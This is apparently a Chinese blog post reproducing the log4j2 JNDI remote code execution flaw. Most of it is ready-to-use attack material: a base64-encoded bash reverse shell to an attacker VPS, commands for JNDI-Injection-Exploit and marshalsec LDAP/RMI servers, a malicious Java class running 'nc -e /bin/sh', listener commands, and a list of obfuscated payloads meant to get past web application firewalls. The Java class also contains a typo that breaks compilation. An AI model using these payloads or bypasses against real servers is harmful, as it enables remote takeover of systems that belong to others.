log4j远程代码执行复现

一、漏洞描述

此漏洞由log4j2提供的lookup功能造成,该功能允许开发者通过一些协议读取相应环境中的配置,但在处理数据时未对输入进行严格的判断,从而造成命令注入。

二、漏洞影响

Apache log4j2 2.x < 2.15.0-rc2

三、漏洞复现

0x01 使用dnslog进行测试

dnslog

0x02 复现1

执行命令反弹shell

构造反弹shell payload,并将命令base64编码

1
2
3
bash -i >& /dev/tcp/vpsip/9999 0>&1
base64编码后:
YmFzaCAtaSA+JiAvZGV2L3RjcC92cHNpcC85OTk5IDA+JjE=

开启vps上的ldap和rmi服务,利用工具JNDI-Exploit-1.0-SNAPSHOT-all.jar

1
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC92cHNpcC85OTk5IDA+JjE=}|{base64,-d}|{bash,-i}" -A "vpsip"

构造payload,去访问站点中某个传参点,将攻击代码以post形式进行传入:

1
payload:${jndi:rmi://vps:1099/0qic9a}

0x03 复现2

1、利用Poc配合dnslog平台进行验证

1
${jndi:ldap://8m4798.dnslog.cn/EXP}

2、构造恶意类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import java.lang.Runtime;
import java.lang.Process;

public class exp{
ststic{
try{
Runtime rt = Runtime.getRuntime();
String[] commands = {"/bin/sh","-c","nc ip 端口 -e /bin/sh"};
Process pc = rt.exec(commands);
pc.waitFor();
}catch(Exception e){
//do nothing
}
}
}

这里有两个注意点

1、我们的类名和我们最后保存的文件名一样(否则无法编译)

2、这里的ip是在自己vps的ip,端口就是要反弹shell到vps上的端口

将构造好的exp.java编译一下

1
javac exp.java

bianiyi

接着我们利用python3建立一个http服务,是我们到时候能够请求到exp.class

1
python3 -m http.server 8888

至此我们的恶意类已经准备好了

3、开启ldap或者rmi服务

这里需要用到marshalsec

进入marshalsec的target目录,开启ldap服务

1
2
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer
"http://vpsip:8888/#exp" 9999

注意:这里的ip和端口是我们开启http服务的ip和端口。这里的#不可省略,9999是ldap服务端口

4、反弹shell

1
2
3
4
启动nc监听
nc -nlvvp 888
构造payload提交
${jndi:ldap://vpsip:9999/exp}

这里的端口是我们ldap服务开启端口

此时成功反弹shell。

四、bypass

0x01 bypass rc1

1
${jndi:ldap://127.0.0.1:1389/ badClassName}

0x02 bypass waf

1
2
3
4
5
6
7
${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://asdasd.asdasd.asdasd/poc}
${${::-j}ndi:rmi://asdasd.asdasd.asdasd/ass}
${jndi:rmi://adsasd.asdasd.asdasd}
${${lower:jndi}:${lower:rmi}://adsasd.asdasd.asdasd/poc}
${${lower:${lower:jndi}}:${lower:rmi}://adsasd.asdasd.asdasd/poc}
${${lower:j}${lower:n}${lower:d}i:${lower:rmi}://adsasd.asdasd.asdasd/poc}
${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://xxxxxxx.xx/poc}

本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!